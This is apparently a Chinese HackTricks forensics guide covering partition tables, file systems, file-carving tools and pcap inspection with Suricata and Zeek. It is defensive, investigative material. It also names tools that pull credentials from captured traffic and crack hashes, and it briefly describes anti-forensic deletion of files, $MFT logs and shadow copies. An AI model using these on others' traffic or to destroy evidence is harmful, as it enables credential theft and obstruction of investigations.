* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


# Partitions/File Systems/Carving

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 分区

硬盘或**SSD磁盘可以包含不同的分区**，目的是在物理上分隔数据。\
磁盘的**最小**单元是**扇区**（通常由512B组成）。因此，每个分区的大小都需要是该大小的倍数。

### MBR（主引导记录）

它分配在磁盘的**第一个扇区**中，位于引导代码的446B之后。这个扇区对于指示PC应该从哪里挂载分区很重要。\
它允许**最多4个分区**（最多**只能有1个**是活动的/**可引导的**）。但是，如果您需要更多分区，可以使用**扩展分区**。这个第一个扇区的最后一个字节是引导记录签名**0x55AA**。只能标记一个分区为活动的。\
MBR允许**最大2.2TB**。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-197ced9312bd5acb878fb079d6ce36545fa95e8d%2Fimage%20\(489\).png?alt=media)

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e7adc96425468726eb017f0f14c64edf84e93371%2Fimage%20\(490\).png?alt=media)

从MBR的**字节440到443**，您可以找到**Windows磁盘签名**（如果使用Windows）。硬盘的逻辑驱动器字母取决于Windows磁盘签名。更改此签名可能会阻止Windows引导（工具：[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e635399ce9d43284a46d9ef3ee3b4c34b0728c83%2Fimage%20\(493\).png?alt=media)

**格式**

| 偏移量         | 长度         | 项目           |
| ----------- | ---------- | ------------ |
| 0 (0x00)    | 446(0x1BE) | 引导代码         |
| 446 (0x1BE) | 16 (0x10)  | 第一个分区        |
| 462 (0x1CE) | 16 (0x10)  | 第二个分区        |
| 478 (0x1DE) | 16 (0x10)  | 第三个分区        |
| 494 (0x1EE) | 16 (0x10)  | 第四个分区        |
| 510 (0x1FE) | 2 (0x2)    | 签名 0x55 0xAA |

**分区记录格式**

| 偏移量       | 长度       | 项目                    |
| --------- | -------- | --------------------- |
| 0 (0x00)  | 1 (0x01) | 活动标志（0x80 = 可引导）      |
| 1 (0x01)  | 1 (0x01) | 起始磁头                  |
| 2 (0x02)  | 1 (0x01) | 起始扇区（位0-5）；柱面的高位（6-7） |
| 3 (0x03)  | 1 (0x01) | 起始柱面的最低8位             |
| 4 (0x04)  | 1 (0x01) | 分区类型代码（0x83 = Linux）  |
| 5 (0x05)  | 1 (0x01) | 结束磁头                  |
| 6 (0x06)  | 1 (0x01) | 结束扇区（位0-5）；柱面的高位（6-7） |
| 7 (0x07)  | 1 (0x01) | 结束柱面的最低8位             |
| 8 (0x08)  | 4 (0x04) | 分区前的扇区数（小端）           |
| 12 (0x0C) | 4 (0x04) | 分区中的扇区数               |

要在Linux中挂载MBR，首先需要获取起始偏移量（您可以使用`fdisk`和`p`命令）

![](https://github.com/carlospolop/hacktricks/blob/cn/.gitbook/assets/image%20\(413\)%20\(3\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(12\).png)

然后使用以下代码

```bash
#Mount MBR in Linux
mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```

**LBA（逻辑块寻址）**

**逻辑块寻址**（**LBA**）是一种常用的方案，用于指定存储在计算机存储设备上的数据块的位置，通常是硬盘驱动器等二级存储系统。LBA是一种特别简单的线性寻址方案；**通过整数索引来定位块**，第一个块为LBA 0，第二个为LBA 1，依此类推。

### GPT（GUID分区表）

GUID分区表，简称GPT，因其与MBR（主引导记录）相比增强的功能而备受青睐。GPT以其**全局唯一标识符**为分区而脱颖而出，具有以下几个显著特点：

* **位置和大小**：GPT和MBR都从**扇区0**开始。但是，GPT使用**64位**，与MBR的32位形成对比。
* **分区限制**：GPT在Windows系统上支持**最多128个分区**，并可容纳**高达9.4ZB**的数据。
* **分区名称**：提供了使用最多36个Unicode字符命名分区的功能。

**数据弹性和恢复**：

* **冗余**：与MBR不同，GPT不将分区和引导数据限制在单一位置。它在整个磁盘上复制这些数据，增强数据完整性和弹性。
* **循环冗余校验（CRC）**：GPT采用CRC来确保数据完整性。它积极监视数据损坏，一旦检测到，GPT会尝试从另一个磁盘位置恢复损坏的数据。

**保护性MBR（LBA0）**：

* GPT通过保护性MBR实现向后兼容性。此功能位于传统MBR空间中，但旨在防止旧的基于MBR的实用程序错误地覆盖GPT磁盘，从而保护GPT格式化磁盘上的数据完整性。

![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-60647154fc28651b8c3bbbfd8f3218cfffb57b1c%2Fimage%20\(491\).png?alt=media)

**混合MBR（LBA 0 + GPT）**

[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table)

在支持**通过BIOS进行基于GPT的引导**的操作系统中，第一个扇区也可能仍然用于存储**引导加载程序**代码的第一阶段，但**修改**以识别**GPT分区**。 MBR中的引导加载程序不得假定扇区大小为512字节。

**分区表头（LBA 1）**

[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table)

分区表头定义了磁盘上可用的块。它还定义了组成分区表的分区条目的数量和大小（表中的偏移量80和84）。

| 偏移量       | 长度   | 内容                                                                                                                                            |
| --------- | ---- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00)  | 8字节  | 签名（“EFI PART”，45h 46h 49h 20h 50h 41h 52h 54h或0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)在小端机器上） |
| 8 (0x08)  | 4字节  | UEFI 2.8的版本1.0（00h 00h 01h 00h）                                                                                                               |
| 12 (0x0C) | 4字节  | 以小端序表示的头部大小（以字节为单位，通常为5Ch 00h 00h 00h或92字节）                                                                                                   |
| 16 (0x10) | 4字节  | 头部的CRC32（从偏移量+0到头部大小的小端序），在计算过程中将此字段清零                                                                                                        |
| 20 (0x14) | 4字节  | 保留；必须为零                                                                                                                                       |
| 24 (0x18) | 8字节  | 当前LBA（此头部副本的位置）                                                                                                                               |
| 32 (0x20) | 8字节  | 备份LBA（另一个头部副本的位置）                                                                                                                             |
| 40 (0x28) | 8字节  | 用于分区的第一个可用LBA（主分区表的最后一个LBA + 1）                                                                                                               |
| 48 (0x30) | 8字节  | 最后一个可用LBA（次要分区表的第一个LBA - 1）                                                                                                                   |
| 56 (0x38) | 16字节 | 混合端序的磁盘GUID                                                                                                                                   |
| 72 (0x48) | 8字节  | 分区条目数组的起始LBA（主副本中始终为2）                                                                                                                        |
| 80 (0x50) | 4字节  | 数组中的分区条目数量                                                                                                                                    |
| 84 (0x54) | 4字节  | 单个分区条目的大小（通常为80h或128）                                                                                                                         |
| 88 (0x58) | 4字节  | 分区条目数组的CRC32（小端序）                                                                                                                             |
| 92 (0x5C) | \*   | 保留；对于块的其余部分必须为零（对于512字节的扇区大小为420字节；但对于更大的扇区大小可能会更多）                                                                                           |

**分区条目（LBA 2–33）**

| GUID分区条目格式 |      |                                                                                           |
| ---------- | ---- | ----------------------------------------------------------------------------------------- |
| 偏移量        | 长度   | 内容                                                                                        |
| 0 (0x00)   | 16字节 | [分区类型GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)（混合端序） |
| 16 (0x10)  | 16字节 | 唯一分区GUID（混合端序）                                                                            |
| 32 (0x20)  | 8字节  | 第一个LBA（[小端序](https://en.wikipedia.org/wiki/Little_endian)）                                |
| 40 (0x28)  | 8字节  | 最后一个LBA（包括，通常为奇数）                                                                         |
| 48 (0x30)  | 8字节  | 属性标志（例如，位60表示只读）                                                                          |
| 56 (0x38)  | 72字节 | 分区名称（36个[UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE代码单元）                             |

**分区类型**

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-69f7551988f2a068f4f5adebdb281d4f6c704d1c%2Fimage%20\(492\).png?alt=media)

更多分区类型请参阅<https://en.wikipedia.org/wiki/GUID_Partition_Table>

### 检查

在使用[ArsenalImageMounter](https://arsenalrecon.com/downloads/)挂载取证镜像后，您可以使用Windows工具[Active Disk Editor](https://www.disk-editor.org/index.html)**检查第一个扇区**。在下图中检测到了一个**MBR**在**扇区0**并进行了解释：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-5fa1723d3a171aeefe74de91eb4dd2d511685ecb%2Fimage%20\(494\).png?alt=media)

如果是**GPT表而不是MBR**，则应在**扇区1**中出现签名\_EFI PART\_（在上图中为空）。

## 文件系统

### Windows 文件系统列表

* **FAT12/16**: MSDOS, WIN95/98/NT/200
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
* **ReFS**: 2012/2016

### FAT

**FAT (文件分配表)** 文件系统围绕其核心组件设计，即位于卷开头的文件分配表。该系统通过维护**两份副本**的表来保护数据，即使其中一份损坏，也能确保数据完整性。表和根文件夹必须位于**固定位置**，对系统的启动过程至关重要。

文件系统的基本存储单元是一个**簇，通常为512B**，包含多个扇区。FAT已经通过多个版本的演变：

* **FAT12**，支持12位簇地址，处理多达4078个簇（UNIX为4084个）。
* **FAT16**，升级到16位地址，从而容纳多达65,517个簇。
* **FAT32**，进一步使用32位地址，允许每个卷有惊人的268,435,456个簇。

FAT版本之间的一个重要限制是**4GB的最大文件大小**，由用于文件大小存储的32位字段所施加。

根目录的关键组件，特别是对于FAT12和FAT16，包括：

* **文件/文件夹名称**（最多8个字符）
* **属性**
* **创建、修改和最后访问日期**
* **FAT表地址**（指示文件的起始簇）
* **文件大小**

### EXT

**Ext2**是**不记录日志**分区的最常见文件系统（**不经常更改的分区**，如引导分区）。**Ext3/4**是**记录日志**的，通常用于**其余分区**。

## **元数据**

一些文件包含元数据。这些信息是关于文件内容的，有时可能会对分析人员感兴趣，因为根据文件类型的不同，它可能包含信息如下：

* 标题
* 使用的MS Office版本
* 作者
* 创建和最后修改日期
* 相机型号
* GPS坐标
* 图像信息

您可以使用像[**exiftool**](https://exiftool.org)和[**Metadiver**](https://www.easymetadata.com/metadiver-2/)这样的工具来获取文件的元数据。

## **已删除文件恢复**

### 记录的已删除文件

正如之前所见，文件“删除”后仍然保存在几个地方。这是因为通常从文件系统中删除文件只是将其标记为已删除，但数据并未被触及。然后，可以检查文件的注册表（如MFT）并找到已删除的文件。

此外，操作系统通常保存有关文件系统更改和备份的大量信息，因此可以尝试使用它们来恢复文件或尽可能多地获取信息。

{% content-ref url="/pages/m2o6z9N7csQIkly44fpk" %}
[File/Data Carving & Recovery Tools](/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools)
{% endcontent-ref %}

### **文件切割**

**文件切割**是一种尝试在大量数据中**查找文件**的技术。此类工具的工作方式有3种主要方式：**基于文件类型的头部和尾部**，基于文件类型的**结构**，以及基于**内容**本身。

请注意，此技术**无法用于检索分段的文件**。如果文件**未存储在连续的扇区中**，则此技术将无法找到它，或者至少无法找到部分文件。

有几种工具可用于文件切割，指示您要搜索的文件类型

{% content-ref url="/pages/m2o6z9N7csQIkly44fpk" %}
[File/Data Carving & Recovery Tools](/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools)
{% endcontent-ref %}

### 数据流**切割**

数据流切割类似于文件切割，但**不是寻找完整文件，而是寻找有趣的信息片段**。\
例如，与寻找包含记录的URL的完整文件不同，此技术将搜索URL。

{% content-ref url="/pages/m2o6z9N7csQIkly44fpk" %}
[File/Data Carving & Recovery Tools](/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools)
{% endcontent-ref %}

### 安全删除

显然，有方法可以\*\*“安全地”删除文件和有关它们的部分日志\*\*。例如，可以**多次覆盖文件内容**以垃圾数据，然后**删除**有关文件的\*\*$MFT**和**$LOGFILE**的日志，并**删除卷影复制\*\*。\
您可能会注意到，即使执行了该操作，仍可能**记录文件存在的其他部分**，这是取证专业人员工作的一部分，是要找到它们。

## 参考资料

* <https://en.wikipedia.org/wiki/GUID_Partition_Table>
* <http://ntfs.com/ntfs-permissions.htm>
* <https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html>
* <https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service>
* **iHackLabs Certified Digital Forensics Windows**

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# File/Data Carving & Recovery Tools

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## 切割和恢复工具

更多工具请查看<https://github.com/Claudio-C/awesome-datarecovery>

### Autopsy

在取证中最常用的提取图像文件的工具是[**Autopsy**](https://www.autopsy.com/download/)。下载、安装并让其摄取文件以查找“隐藏”文件。请注意，Autopsy旨在支持磁盘映像和其他类型的映像，而不是简单文件。

### Binwalk <a href="#binwalk" id="binwalk"></a>

**Binwalk**是用于分析二进制文件以查找嵌入内容的工具。可通过`apt`安装，其源代码位于[GitHub](https://github.com/ReFirmLabs/binwalk)。

**有用的命令**：

```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```

### Foremost

另一个常用的查找隐藏文件的工具是**foremost**。您可以在`/etc/foremost.conf`中找到foremost的配置文件。如果您只想搜索一些特定文件，请取消注释。如果您不取消注释任何内容，foremost将搜索其默认配置的文件类型。

```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```

### **Scalpel**

**Scalpel** 是另一个工具，可用于查找和提取**嵌入在文件中的文件**。在这种情况下，您需要从配置文件（*/etc/scalpel/scalpel.conf*）中取消注释您希望提取的文件类型。

```bash
sudo apt-get install scalpel
scalpel file.img -o output
```

### Bulk Extractor

这个工具包含在kali中，但你也可以在这里找到它：<https://github.com/simsong/bulk_extractor>

这个工具可以扫描一个镜像，并且会**提取其中的pcaps**，**网络信息（URLs、域名、IP地址、MAC地址、邮件）以及更多文件**。你只需要执行以下操作：

```
bulk_extractor memory.img -o out_folder
```

### PhotoRec

您可以在<https://www.cgsecurity.org/wiki/TestDisk_Download>找到它。

它带有 GUI 和 CLI 版本。您可以选择要让 PhotoRec 搜索的**文件类型**。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-51a52746396e302eb6dac03462c3506ad0039527%2Fimage%20\(524\).png?alt=media)

### binvis

检查[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。

#### BinVis 的特点

* 可视化和活跃的**结构查看器**
* 不同焦点的多个绘图
* 集中在样本的部分
* 在 PE 或 ELF 可执行文件中**查看字符串和资源**
* 从文件中获取用于密码分析的**模式**
* **发现**打包程序或编码器算法
* 通过模式**识别**隐写术
* **视觉**二进制差异

BinVis 是在黑盒测试场景中熟悉未知目标的**起点**。

## 特定数据刻录工具

### FindAES

通过搜索其密钥计划来搜索 AES 密钥。能够找到用于 TrueCrypt 和 BitLocker 等的 128、192 和 256 位密钥。

在[此处](https://sourceforge.net/projects/findaes/)下载。

## 附加工具

您可以使用[**viu**](https://github.com/atanunq/viu)来在终端中查看图像。\
您可以使用 Linux 命令行工具**pdftotext**将 pdf 转换为文本并阅读它。


# Pcap Inspection

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) 上**关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享**您的黑客技巧。

</details>

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) 是西班牙最重要的网络安全活动之一，也是欧洲最重要的活动之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流会。

{% embed url="<https://www.rootedcon.com/>" %}

{% hint style="info" %}
关于 **PCAP** 和 **PCAPNG** 的说明：PCAP 文件格式有两个版本；**PCAPNG 是较新的版本，不是所有工具都支持**。您可能需要使用 Wireshark 或其他兼容工具将文件从 PCAPNG 转换为 PCAP，以便在其他工具中使用。
{% endhint %}

## 用于 pcap 的在线工具

* 如果您的 pcap 文件头部**损坏**，您应该尝试使用以下工具**修复**：[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
* 在 [**PacketTotal**](https://packettotal.com) 中提取 pcap 中的**信息**并搜索**恶意软件**
* 使用 [**www.virustotal.com**](https://www.virustotal.com) 和 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) 搜索**恶意活动**

## 提取信息

以下工具可用于提取统计数据、文件等。

### Wireshark

{% hint style="info" %}
**如果您要分析 PCAP，基本上必须了解如何使用 Wireshark**
{% endhint %}

您可以在以下位置找到一些 Wireshark 技巧：

{% content-ref url="/pages/GZ4nzjMx608pNCOGxZRa" %}
[Wireshark tricks](/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks)
{% endcontent-ref %}

### Xplico 框架

[**Xplico** ](https://github.com/xplico/xplico)*(仅适用于 Linux)* 可以**分析** pcap 并从中提取信息。例如，Xplico 可从 pcap 文件中提取每封电子邮件（POP、IMAP 和 SMTP 协议）、所有 HTTP 内容、每个 VoIP 通话（SIP）、FTP、TFTP 等。

**安装**

```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
sudo apt-get update
sudo apt-get install xplico
```

**运行**

```
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```

访问 ***127.0.0.1:9876***，使用凭据 ***xplico:xplico***

然后创建一个**新案例**，在案例内创建一个**新会话**，并**上传pcap文件**。

### NetworkMiner

与Xplico一样，这是一个用于**分析和提取pcap文件中对象的工具**。它有一个免费版本，您可以[**在这里下载**](https://www.netresec.com/?page=NetworkMiner)。它适用于**Windows**。\
这个工具还可以用来从数据包中获取**其他信息的分析**，以便更快地了解发生了什么。

### NetWitness Investigator

您可以从[**这里下载NetWitness Investigator**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(它适用于Windows)**。\
这是另一个有用的工具，可以**分析数据包**并以有用的方式对信息进行分类，以便**了解内部发生的情况**。

### [BruteShark](https://github.com/odedshimon/BruteShark)

* 提取和编码用户名和密码（HTTP、FTP、Telnet、IMAP、SMTP...）
* 提取认证哈希并使用Hashcat破解它们（Kerberos、NTLM、CRAM-MD5、HTTP-Digest...）
* 构建可视化网络图（网络节点和用户）
* 提取DNS查询
* 重建所有TCP和UDP会话
* 文件切割

### Capinfos

```
capinfos capture.pcap
```

### Ngrep

如果你想在 pcap 文件中查找某些内容，可以使用 ngrep。以下是使用主要过滤器的示例：

```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```

### 数据恢复

使用常见的数据恢复技术可以从 pcap 中提取文件和信息：

{% content-ref url="/pages/m2o6z9N7csQIkly44fpk" %}
[File/Data Carving & Recovery Tools](/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools)
{% endcontent-ref %}

### 捕获凭据

您可以使用类似 <https://github.com/lgandx/PCredz> 的工具来解析 pcap 或实时接口中的凭据。

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的活动之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流平台。

{% embed url="<https://www.rootedcon.com/>" %}

## 检查漏洞/恶意软件

### Suricata

**安装和设置**

```
apt-get install suricata
apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
```

**检查 pcap**

```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
```

### YaraPcap

[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) 是一个工具，可以：

* 读取 PCAP 文件并提取 Http 流。
* 对任何压缩流进行 gzip 解压缩。
* 使用 yara 扫描每个文件。
* 写入 report.txt。
* 可选择将匹配的文件保存到一个目录中。

### 恶意软件分析

检查是否能找到任何已知恶意软件的指纹：

{% content-ref url="/pages/AFkJWcUpYjxhknRqk3TL" %}
[Malware Analysis](/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis)
{% endcontent-ref %}

## Zeek

> [Zeek](https://docs.zeek.org/en/master/about.html) 是一个被动的、开源的网络流量分析器。许多运营商将 Zeek 用作网络安全监视器（NSM），以支持对可疑或恶意活动的调查。Zeek 还支持广泛的流量分析任务，超出了安全领域，包括性能测量和故障排除。

基本上，由 `zeek` 创建的日志不是 **pcaps**。因此，您将需要使用 **其他工具** 来分析包含有关 **pcaps** 的信息的日志。

### 连接信息

```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10

10.55.100.100   49778   65.52.108.225   443     tcp     -       86222.365445
10.55.100.107   56099   111.221.29.113  443     tcp     -       86220.126151
10.55.100.110   60168   40.77.229.82    443     tcp     -       86160.119664


#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10

10.55.100.100   65.52.108.225   443     tcp     86222.4
10.55.100.107   111.221.29.113  443     tcp     86220.1
10.55.100.110   40.77.229.82    443     tcp     86160.1

#Get the number of connections summed up per each line
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10

10.55.100.100   65.52.108.225   1       86222.4
10.55.100.107   111.221.29.113  1       86220.1
10.55.100.110   40.77.229.82    134       86160.1

#Check if any IP is connecting to 1.1.1.1
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c

#Get number of connections per source IP, dest IP and dest Port
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10


# RITA
#Something similar can be done with the tool rita
rita show-long-connections -H --limit 10 zeek_logs

+---------------+----------------+--------------------------+----------------+
|   SOURCE IP   | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE |    DURATION    |
+---------------+----------------+--------------------------+----------------+
| 10.55.100.100 | 65.52.108.225  | 443:tcp:-                | 23h57m2.3655s  |
| 10.55.100.107 | 111.221.29.113 | 443:tcp:-                | 23h57m0.1262s  |
| 10.55.100.110 | 40.77.229.82   | 443:tcp:-                | 23h56m0.1197s  |

#Get connections info from rita
rita show-beacons zeek_logs | head -n 10
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
```
